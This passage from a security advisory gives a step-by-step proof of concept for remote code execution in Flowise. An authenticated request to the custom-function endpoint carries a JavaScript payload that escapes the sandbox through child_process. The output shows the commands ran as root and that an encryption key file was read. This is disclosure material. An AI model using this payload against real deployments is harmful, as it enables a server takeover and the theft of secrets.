Advisory

GHSA-3769-jgqc-cxm7

Details, part 2 of 3. The advisory

Details

Step 2: Obtain Bearer Token

Register an account, then create an API key:

  # Register      
  curl -s -X POST http://localhost:3000/api/v1/account/register \
    -H "Content-Type: application/json" \
    -d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'                                                                                                                                                   
                                                                                                                                                                                                                                             
  # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      
  # Copy the key — this is the Bearer token used below.                                                                                                                                                                                      

Step 3: Create Payload

  cat > exploit.json << 'EOF'
  {
    "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");    
  return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"                                                                                          
  }                                                                                                                                                                                                                                          
  EOF                                                                                                                                                                                                                                        

Step 4: Exploit

  # Pre-check: file does not exist
  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
  # ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        
                                                                                                                                                                                                                                             
  # Execute                                                                                                                                                                                                                                  
  curl -X POST http://localhost:3000/api/v1/node-custom-function \
    -H "Content-Type: application/json" \                                                                                                                                                                                                    
    -H "Authorization: Bearer <TOKEN>" \
    -d @exploit.json                                                                                                                                                                                                                         
  # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"                                                                                                                                                             
                                                                                                                                                                                                                                             
  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
  # -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            
                                                                                                                                                                                                                                             
  docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             
  # uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                
                                                                                                                                                                                                                                             
  docker exec flowise-poc cat /root/.flowise/encryption.key
  # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         

<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Sources & licences